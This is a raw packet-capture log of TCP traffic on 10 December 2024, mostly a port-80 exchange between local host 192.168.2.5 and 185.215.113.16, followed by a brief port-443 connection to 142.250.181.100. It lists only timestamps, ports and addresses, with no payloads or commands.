Dec 10, 2024 05:47:27.988934040 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.989629030 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.989743948 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.989785910 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.990449905 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.990576982 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.990693092 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.991318941 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.991447926 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.991489887 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.992153883 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.992283106 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.992366076 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.992989063 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.993102074 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.993139029 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.993817091 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.993882895 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.993925095 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.994662046 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.994772911 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.994822025 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.995496035 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.995615959 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.995655060 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.996336937 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.996465921 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.996510983 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.997164965 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.997278929 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.997318983 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.997997046 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.998123884 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.998161077 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.998842001 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.998949051 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.998991013 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.999695063 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.999787092 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.999825001 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.000518084 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.000622988 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.000664949 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.001362085 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.001491070 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.001548052 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.002198935 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.002295971 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.002341032 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.003017902 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.003135920 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.003170967 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.003874063 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.003978014 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.004018068 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.004715919 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.004901886 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.004949093 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.005553961 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.005702019 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.005769014 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.006373882 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.006489992 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.006536007 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.007159948 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.048429966 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.155639887 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.155735970 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.155791998 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.156035900 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.156208992 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.156254053 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.156888962 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.157064915 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.157108068 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.157696962 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.157799006 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.157846928 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.158535957 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.158649921 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.158688068 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.159454107 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.159622908 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.159662008 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.160290956 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.160362959 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.160399914 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.161062956 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.161114931 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.161151886 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.161885023 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.161999941 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.162040949 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.162722111 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.162826061 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.162885904 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.163580894 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.163629055 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.163661957 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.164397955 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.164511919 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.164554119 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.165239096 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.165335894 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.165374041 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.166100979 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.166233063 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.166276932 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.166907072 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.167037010 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.167109013 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.167757988 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.167860031 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.167896986 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.168584108 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.168687105 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.168728113 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.169434071 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.169529915 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.169563055 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.170262098 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.170382023 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.170418978 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.171101093 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.171200037 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.171257973 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.171968937 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.172055960 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.172099113 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.172779083 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.172873020 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.172931910 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.173624992 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.173738003 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.173774004 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.174468040 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.174581051 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.174622059 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.175355911 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.175437927 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.175478935 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.176155090 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.176234007 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.176302910 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.176978111 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.177086115 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.177135944 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.177809000 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.177917957 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.177977085 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.178733110 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.178881884 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.178924084 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.179487944 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.179605007 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.179642916 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.180352926 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.180402040 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.180448055 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.181159973 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.181263924 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.181303978 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.181991100 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.182095051 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.182157040 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.182884932 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.183021069 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.183060884 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.183690071 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.183789968 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.183850050 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.184514999 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.184575081 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.184618950 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.185347080 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.185447931 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.185482025 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.186175108 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.186371088 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.186405897 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.187031031 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.187124968 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.187163115 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.187906981 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.188111067 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.188163996 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.188688993 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.188817024 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.188858032 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.189533949 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.189652920 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.189690113 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.190376043 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.190579891 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.190637112 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.191216946 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.191308975 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.191349030 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.192045927 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.192168951 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.192203045 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.192907095 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.193020105 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.193068981 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.193770885 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.193830013 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.193891048 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.194570065 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.194710016 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.194746971 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.195417881 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.195539951 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.195576906 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.196235895 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.196332932 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.196372986 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.197069883 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.197180986 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.197221041 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.197912931 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.198005915 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.198060036 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.198744059 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.198868990 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.198918104 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.199563980 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.251507044 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.348095894 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.348262072 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.348335981 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.348655939 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.348794937 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.348834038 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.349239111 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.349359035 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.349400043 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.350080013 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.350200891 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.350270033 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.350914955 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.351036072 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.351095915 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.351751089 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.351860046 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.351903915 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.352597952 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.352711916 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.352761984 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.353492975 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.353588104 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.353653908 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.354268074 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.354387045 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.354425907 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.355120897 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.355220079 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.355263948 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.355956078 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.356062889 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.356165886 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.356770992 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.356899977 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.356944084 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.357614994 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.357733965 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.357770920 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.358447075 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.358549118 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.358597040 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.359308004 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.359410048 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.359462023 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.360129118 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.360259056 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.360308886 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.360980034 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.361090899 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.361135006 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.361810923 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.361912012 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.361954927 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.362646103 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.362755060 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.362793922 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.363512993 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.363631964 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.363689899 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.364321947 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.364423990 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.364468098 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.365185022 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.365293026 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.365356922 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.366017103 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.366127014 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.366167068 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.366837978 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.366949081 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.366991997 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.367698908 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.367794991 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.367856026 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.368520021 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.368596077 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.368643045 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.369621992 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.369632959 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.369687080 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.370183945 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.370301008 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.370338917 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.371027946 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.371143103 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.371190071 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.371893883 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.372008085 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.372067928 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.372715950 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.372816086 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.372850895 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.373579979 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.373661995 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.373718023 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.374385118 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.374488115 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.374531031 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:28.375202894 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:28.423384905 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:38.184459925 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:39.014044046 CET	49773	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:47:39.014090061 CET	443	49773	142.250.181.100	192.168.2.5
Dec 10, 2024 05:47:39.014223099 CET	49773	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:47:39.014954090 CET	49773	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:47:39.014967918 CET	443	49773	142.250.181.100	192.168.2.5
Dec 10, 2024 05:47:40.708674908 CET	443	49773	142.250.181.100	192.168.2.5
Dec 10, 2024 05:47:40.708961964 CET	49773	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:47:40.708976984 CET	443	49773	142.250.181.100	192.168.2.5
Dec 10, 2024 05:47:40.709971905 CET	443	49773	142.250.181.100	192.168.2.5
Dec 10, 2024 05:47:40.710053921 CET	49773	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:47:40.711174965 CET	49773	443	192.168.2.5	142.250.181.100
